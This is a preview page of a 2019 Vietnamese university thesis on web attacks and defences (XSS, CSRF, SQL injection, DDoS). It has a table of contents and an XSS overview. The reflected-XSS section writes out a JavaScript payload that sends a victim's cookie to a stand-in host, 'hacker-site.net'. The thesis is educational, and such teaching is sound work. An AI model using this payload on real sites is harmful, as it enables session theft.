1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Các tấn công và giải pháp bảo mật web

113 30 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Các Tấn Công Và Giải Pháp Bảo Mật Web
Tác giả Trần Công Hậu, Võ Thế Vinh
Người hướng dẫn Ths. Nguyễn Thị Thanh Vân
Trường học Đại Học Sư Phạm Kỹ Thuật Thành Phố Hồ Chí Minh
Chuyên ngành Công Nghệ Thông Tin
Thể loại Đồ Án Tốt Nghiệp
Năm xuất bản 2019
Thành phố Tp. Hồ Chí Minh
Định dạng
Số trang 113
Dung lượng 4,5 MB

Cấu trúc

  • Page 1

Nội dung

TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN

Cross Site Scripting (XSS)

1.1.3 Các loại tấn công XSS 7

Cross-site Request Forgery (CSRF)

SQL Injection

Denial Of Service – Tấn công từ chối dịch vụ

1.4.2.1 Kiến trúc tổng quan của DDOS 37

1.4.2.2 Phân loại tấn công DDOS 41

1.4.2.3.1 Dựa trên vị trí triển khai 44

1.4.2.3.2 Dựa trên giao thức mạng 45

1.4.2.3.3 Dựa trên thời điểm hành động 46

Chương 2: XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN

2.1.2 Ưu, nhược điểm của ngôn ngữ Golang 49

2.1.3 Cơ sở dữ liệu MySQL trong Golang 49

2.1.3.2 Kết nối MySQL tới Golang 50

2.1.4 Cài đặt Golang trên các môi trường 50

2.1.4.1 Cài đặt trên môi trường Windows 50

2.1.4.2 Cài đặt trên môi trường Linux/MacOS 51

2.2.2 Yêu cầu phi chức năng 52

2.2.3.2 Use Case quản trị viên: 57

2.3.1 Thiết kế cơ sở dữ liệu 59

2.4 Các lỗi bảo mật trong website 62

Chương 3: XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 66

3.1.1 Xây dựng Modul tấn công 66

3.1.2 Quá trình thực thi modul tấn công 67

3.1.3 Xây dựng modul ngăn chặn 68

3.2.1 Xây dụng modul tấn công 71

3.2.3 Xây dựng modul ngăn chặn 73

3.3.1 Xây dựng modul tấn công 74

3.3.3 Xây dựng modul ngăn chặn 76

3.4.3 Thực thi modul ngăn chặn 80

3.5.3 Xây dựng model ngăn chặn 89

3.6.1 Thực hiện công cụ tấn công 90

3.6.3 Xây dựng modul ngăn chặn 93

(Ghi rõ từng thời gian tiến hành các công việc của luận văn, thời gian thí nghiệm, thăm quan hiện trường, )

STT Thời gian Công việc Ghi chú

1 Tuần 1,2 Gặp mặt sinh viên và xác nhận đề tài

2 Tuần 3,4 Phân tích đề tài, xác định nội dung công việc

3 Tuần 5,6,7 Tìm hiểu các tấn công web phổ biến

4 Tuần 8,9,10 Xây dựng modul tấn công, sử dụng tool

5 Tuần 11,12 Xây dựng modul và sử dụng các công cụ phòng thủ

6 Tuần 13,14 Xem xét tiến độ và hiệu chỉnh

7 Tuần 15 Hướng dẫn viết báo cáo khóa luận

8 Tuần 16,17 Tiếp tục báo cáo tiến độ và xem nội dung khóa luận

9 Tuần 18 Hiệu chỉnh báo cáo lần cuối Ý kiến của giáo viên hướng dẫn:

(ký và ghi rõ họ tên)

Người viết đề cương (ký và ghi rõ họ tên)

1 Tóm tắt ý tưởng đề tài 3

2.1 Tính cấp thiết của đề tài 3

2.2 Mục đích của đề tài 3

2.3 Đối tượng và phạm vi nghiên cứu 3

2.5 Kết quả dự kiến đạt được 4

Chương 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 5

1.1.3 Các loại tấn công XSS 7

1.2 Cross-site Request Forgery (CSRF) 15

1.4 Denial Of Service – Tấn công từ chối dịch vụ 33

1.4.2.1 Kiến trúc tổng quan của DDOS 37

1.4.2.2 Phân loại tấn công DDOS 41

1.4.2.3.1 Dựa trên vị trí triển khai 44

1.4.2.3.2 Dựa trên giao thức mạng 45

1.4.2.3.3 Dựa trên thời điểm hành động 46

Chương 2: XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN

2.1.2 Ưu, nhược điểm của ngôn ngữ Golang 49

2.1.3 Cơ sở dữ liệu MySQL trong Golang 49

2.1.3.2 Kết nối MySQL tới Golang 50

2.1.4 Cài đặt Golang trên các môi trường 50

2.1.4.1 Cài đặt trên môi trường Windows 50

2.1.4.2 Cài đặt trên môi trường Linux/MacOS 51

2.2.2 Yêu cầu phi chức năng 52

2.2.3.2 Use Case quản trị viên: 57

2.3.1 Thiết kế cơ sở dữ liệu 59

2.4 Các lỗi bảo mật trong website 62

Chương 3: XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 66

3.1.1 Xây dựng Modul tấn công 66

3.1.2 Quá trình thực thi modul tấn công 67

3.1.3 Xây dựng modul ngăn chặn 68

3.2.1 Xây dụng modul tấn công 71

3.2.3 Xây dựng modul ngăn chặn 73

3.3.1 Xây dựng modul tấn công 74

3.3.3 Xây dựng modul ngăn chặn 76

3.4.3 Thực thi modul ngăn chặn 80

3.5.3 Xây dựng model ngăn chặn 89

3.6.1 Thực hiện công cụ tấn công 90

3.6.3 Xây dựng modul ngăn chặn 93

DANH MỤC TÀI LIỆU THAM KHẢO 99

Hình 1.1.3.1: Miêu tả Chiếm phiên làm việc của người dùng

Hình 1.1.3.2.3: Kịch bản khai thác mã độc của Hacker

Hình 1.1.3.3.4: Kịch bản khai thác bằng Script

Hình 1.3.2.2: Tấn công by pass password

Hình 1.3.2.3: Mô hình Inline Injection

Hình 1.3.2.5: Mô hình Terminating Injection

Hình 1.4.2.1.1: Mô hình IRC-Based

Hình 1.4.2.1.2: Thành phần Agent trong mô hình IRC-Based

Hình 1.4.2.1.3: Thành phần Secret Channel trong mô hình IRC-Based Hình 1.4.2.2.1: Các dạng DDos

Hình 1.4.2.2.2: Mô hình TCP SYS Attack

Hình 2.2.3.1.1: Mô hình Use Case người dùng

Hình 2.2.3.2.1: Mô hình Use Case Quản Trị Viên

Hình 3.1.1: Công cụ tấn công vét cạn

Hình 3.2.1: Script tấn công XSS

Hình 3.3.1: Script tấn công CRSF

Hình 3.4.1: Mô hình tấn công HTTP POST DDOS

Bảng 2.2.3.1.1: Use Case Đăng Ký

Bảng 2.2.3.1.2: Use Case Đăng Nhập

Bảng 2.2.3.1.3: Use Case Đổi Mật Khẩu

Bảng 2.2.3.1.4: Use Case Xem Thông Tin Phim

Bảng 2.2.3.1.5: Use Case Xem Phim

Bảng 2.2.3.1.6: Use Case Bình Luận

Bảng 2.2.3.1.7: Use Case Thích Bình Luận

Bảng 2.2.3.1.8: Use Case Tìm Kiếm

Bảng 2.2.3.1.9: Use Case Xem Thông Tin Liên Hệ

Bảng 2.2.3.2.1: Use Case Đăng Nhập

Bảng 2.2.3.2.2: Use Case Đăng Xuất

Bảng 2.2.3.2.3: Use Case Xem Danh Sách Phim

Bảng 2.2.3.2.4: Use Case Thêm Phim

Bảng 2.2.3.2.5: Use Case Chỉnh Sửa Phim

Bảng 2.2.3.2.6: Use Case Xoá Phim

1 Tóm tắt ý tưởng đề tài

Trong những năm gần đây, Việt Nam đã có sự phát triển mạnh mẽ, đặc biệt trong lĩnh vực công nghệ thông tin và ứng dụng web Website không chỉ phổ biến mà còn trở thành phần quan trọng trong cuộc sống của mọi người, đặc biệt là các doanh nghiệp Tuy nhiên, vấn đề an toàn bảo mật cho ứng dụng web vẫn là một thách thức lớn Do đó, nhóm đã quyết định tổng hợp và đề xuất thực hiện đề tài: “Các tấn công và giải pháp bảo mật web”.

2.1 Tính cấp thiết của đề tài

Với sự phát triển nhanh chóng của công nghệ thông tin và mạng Internet, dịch vụ trực tuyến đã trở nên phong phú và đa dạng, thâm nhập vào hầu hết các lĩnh vực đời sống xã hội Tuy nhiên, thông tin trên Internet cũng yêu cầu mức độ bảo mật cao hơn do tính kinh tế, chính xác và tin cậy của nó Đồng thời, các hình thức tấn công mạng ngày càng tinh vi và phức tạp, đặt ra thách thức lớn cho các quản trị viên mạng Vì vậy, việc hiểu rõ các phương thức tấn công phổ biến và các biện pháp phòng chống là vô cùng cần thiết để đảm bảo an toàn cho hệ thống.

2.2 Mục đích của đề tài

Bài viết giúp chúng ta nhận thức rõ hơn về ứng dụng web và những mối đe dọa an toàn thông tin mà chúng ta có thể gặp phải khi sử dụng hàng ngày Nó cũng cung cấp cái nhìn sâu sắc về các kỹ thuật tấn công và biện pháp bảo mật web hiệu quả.

2.3 Đối tượng và phạm vi nghiên cứu

Tìm hiểu các kỹ thuật tấn công phổ biến nhất hiện nay như SQL Injection, Denial

Of Service, Local Attack,…Cách bảo mật, phòng thủ các loại tấn công phổ biến trên một cách tổng quan nhất

 Phương pháp nghiên cứu tài liệu

 Phương pháp nghiên cứu sản phẩm hoạt động

 Phương pháp phân tích, tổng hợp

2.5 Kết quả dự kiến đạt được

 Tìm hiểu các kĩ thuật tấn công ứng dụng Web phổ biến hiện nay

 Các biện pháp bảo mật từ sự kết hợp giữa nhà quản trị mạng, nhà thiết kế ứng dụng Web và người dùng

Chương 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG

Phương pháp tấn công Cross Site Scripting (XSS) cho phép hacker chèn script độc hại vào ứng dụng web để đánh cắp thông tin quan trọng như cookies và mật khẩu Thay vì tấn công máy chủ, XSS chủ yếu nhắm vào người dùng, lợi dụng sự kiểm tra lỏng lẻo của ứng dụng và sự thiếu hiểu biết của người dùng Hacker thường sử dụng các liên kết độc hại trong địa chỉ URL để kích hoạt các đoạn mã viết bằng ngôn ngữ máy khách như VBScript và JavaScript, từ đó thực thi trên trình duyệt của nạn nhân.

Tấn công Cross Site Scripting (XSS) liên quan đến việc gửi và chèn mã độc hại, thường được viết bằng các ngôn ngữ lập trình phía client như Javascript và HTML Các phương thức tấn công XSS có thể khác nhau, bao gồm mã độc phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và chạy khi người dùng thực hiện các chức năng nhất định Nguyên nhân chính của loại tấn công này là do xác thực đầu vào dữ liệu người dùng không đầy đủ, cho phép dữ liệu độc hại xâm nhập vào dữ liệu đầu ra Khi mã độc được chèn vào mã nguồn của website, trình duyệt không thể phát hiện và ngăn chặn nó.

Các thực thi có thể gây hại, bao gồm mã độc hại có thể hoạt động trên trình duyệt của nạn nhân hoặc dưới dạng giả mạo Một số hình thức tấn công XSS có thể xảy ra, với các phương thức tấn công chính của Cross Site Scripting cần được lưu ý.

-Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client

-Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại)

-Trên các trang web có quảng cáo được hiển thị

Tin tặc gửi email độc hại đến nạn nhân, tấn công xảy ra khi chúng tìm kiếm lỗ hổng trên website Chúng tiêm mã độc vào tập lệnh và gửi đầu ra này đến người dùng cuối, gây ra nguy cơ bảo mật nghiêm trọng.

Một ví dụ đơn giản về lỗ hổng bảo mật trên trang web là khi trường tìm kiếm cho phép người dùng nhập script, dẫn đến việc đoạn mã này được thực thi.

Hình 1.1.2.1 Nhập Script web FourOrFour

Lúc đó sau khi nhấn nút “Search”, script được nhập sẽ được thực hiện

Hình 1.1.2.2 : Thực hiện Search web FourOrFour

Cuộc tấn công XSS cho thấy lỗ hổng khi script được nhập vào trường Search và thực thi Ngoài ra, các tập lệnh độc hại khác cũng có thể được tiêm vào Nhiều Tester kết hợp tấn công Cross Site Scripting với Javascript Injection, thực hiện ở phía client Cả hai phương pháp này đều liên quan đến việc tiêm các script tấn công độc hại, nhưng trong tấn công XSS, các thẻ không cần thiết để thực thi script.

1.1.3 Các loại tấn công XSS

 Có 3 dạng tấn công XSS chính:

Lỗi Reflected XSS có thể bị khai thác theo nhiều cách, trong đó phổ biến nhất là chiếm đoạt phiên làm việc của người dùng, cho phép kẻ tấn công truy cập dữ liệu và quyền hạn của họ trên website Các bước chi tiết để thực hiện việc này sẽ được mô tả rõ ràng.

Hình 1.1.3.1: Miêu tả Chiếm phiên làm việc của người dùng

-Người dùng đăng nhập web và giả sử được gán session:

Set-Cookie: sessId^2c648fa5ef8d653adeede595dcde6f638639e4e59d4

-Bằng http://example.com/name=var+i=new+Image;+i.src=”http://hacker- site.net/”%2Bdocument.cookie;

-Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra

-Nạn nhân truy cập đến URL bên trên

-Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)

-Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

-Đoạn javascript mà hacker tạo ra thực tế như sau: var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

-Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:

GET /sessId^2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

Hacker có thể chiếm đoạt phiên làm việc của người dùng bằng cách bắt được nội dung yêu cầu từ phía website, từ đó giả mạo danh tính nạn nhân và thực hiện các quyền truy cập trên website mà nạn nhân có Để thực hiện điều này, hacker sẽ gửi cho người dùng một URL nhất định.

Stored XSS khác với Reflected XSS ở chỗ nó nhắm đến nhiều nạn nhân hơn, xảy ra khi ứng dụng web không kiểm tra kỹ dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu Lỗi này thường xuất hiện ở các form góp ý hoặc bình luận trên trang web Kỹ thuật Stored XSS yêu cầu hacker thực hiện ít nhất hai bước: đầu tiên, họ sẽ sử dụng các điểm đầu vào không được kiểm tra để chèn mã độc vào cơ sở dữ liệu.

Hình 1.1.3.2.1: Chèn đoạn mã vào cơ sở dữ liệu

Khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác với dữ liệu đã lưu, mã độc của hacker sẽ được kích hoạt trên trình duyệt của người dùng.

Hình 1.1.3.2.2: Đoạn mã của Hacker được thực thi trên trình duyệt

Kịch bản khai thác theo mô hình trên:

Hình 1.1.3.2.3: Kịch bản khai thác mã độc của Hacker

Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công:

Reflected XSS yêu cầu hacker lừa nạn nhân truy cập vào URL độc hại, trong khi Stored XSS cho phép hacker chèn mã độc vào cơ sở dữ liệu của ứng dụng và chỉ cần chờ nạn nhân tự động truy cập mà không hay biết Điều này khiến nạn nhân tưởng rằng việc truy cập dữ liệu là hoàn toàn bình thường, trong khi thực tế họ đang bị tấn công.

Mục tiêu của hacker trong các cuộc tấn công XSS sẽ dễ dàng đạt được hơn khi nạn nhân vẫn đang trong phiên làm việc của ứng dụng web Đối với Reflected XSS, hacker có thể lừa nạn nhân đăng nhập và truy cập vào URL mà hắn cung cấp để thực thi mã độc Tuy nhiên, với Stored XSS, mã độc đã được lưu trữ trong cơ sở dữ liệu web, do đó, mỗi khi người dùng truy cập các chức năng liên quan, mã độc sẽ tự động được thực thi Điều này thường xảy ra khi các chức năng này yêu cầu xác thực, khiến người dùng vẫn ở trong phiên làm việc.

XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN

XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN

Ngày đăng: 28/11/2021, 16:31

HÌNH ẢNH LIÊN QUAN

Hình 1.1.2.2. : Thực hiện Search web FourOrFour - Các tấn công và giải pháp bảo mật web
Hình 1.1.2.2. Thực hiện Search web FourOrFour (Trang 20)
Hình 1.1.2.1. Nhập Script web FourOrFour - Các tấn công và giải pháp bảo mật web
Hình 1.1.2.1. Nhập Script web FourOrFour (Trang 20)
Hình 1.1.3.1: Miêu tả Chiếm phiên làm việc của người dùng - Các tấn công và giải pháp bảo mật web
Hình 1.1.3.1 Miêu tả Chiếm phiên làm việc của người dùng (Trang 21)
Hình 1.1.3.2.1: Chèn đoạn mã vào cơ sở dữ liệu - Các tấn công và giải pháp bảo mật web
Hình 1.1.3.2.1 Chèn đoạn mã vào cơ sở dữ liệu (Trang 23)
Hình 1.1.3.2.3: Kịch bản khai thác mã độc của Hacker - Các tấn công và giải pháp bảo mật web
Hình 1.1.3.2.3 Kịch bản khai thác mã độc của Hacker (Trang 24)
Hình 1.1.3.3.2: Form đăng kí giả mạo - Các tấn công và giải pháp bảo mật web
Hình 1.1.3.3.2 Form đăng kí giả mạo (Trang 26)
Hình 1.2.1: Mô hình CSRF - Các tấn công và giải pháp bảo mật web
Hình 1.2.1 Mô hình CSRF (Trang 28)
Hình 1.3.2.2: Tấn công by pass password - Các tấn công và giải pháp bảo mật web
Hình 1.3.2.2 Tấn công by pass password (Trang 38)
Hình 1.3.2.3: Mô hình Inline Injection - Các tấn công và giải pháp bảo mật web
Hình 1.3.2.3 Mô hình Inline Injection (Trang 39)
Hình 1.3.2.4: Terminating Injection - Các tấn công và giải pháp bảo mật web
Hình 1.3.2.4 Terminating Injection (Trang 39)
Hình 1.3.2.7: Thực thi thành công Blind Injection - Các tấn công và giải pháp bảo mật web
Hình 1.3.2.7 Thực thi thành công Blind Injection (Trang 42)
Hình 1.4.2.1.1: Mô hình IRC-Based - Các tấn công và giải pháp bảo mật web
Hình 1.4.2.1.1 Mô hình IRC-Based (Trang 51)
Hình 1.4.2.1.2: Thành phần Agent trong mô hình IRC-Based - Các tấn công và giải pháp bảo mật web
Hình 1.4.2.1.2 Thành phần Agent trong mô hình IRC-Based (Trang 52)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w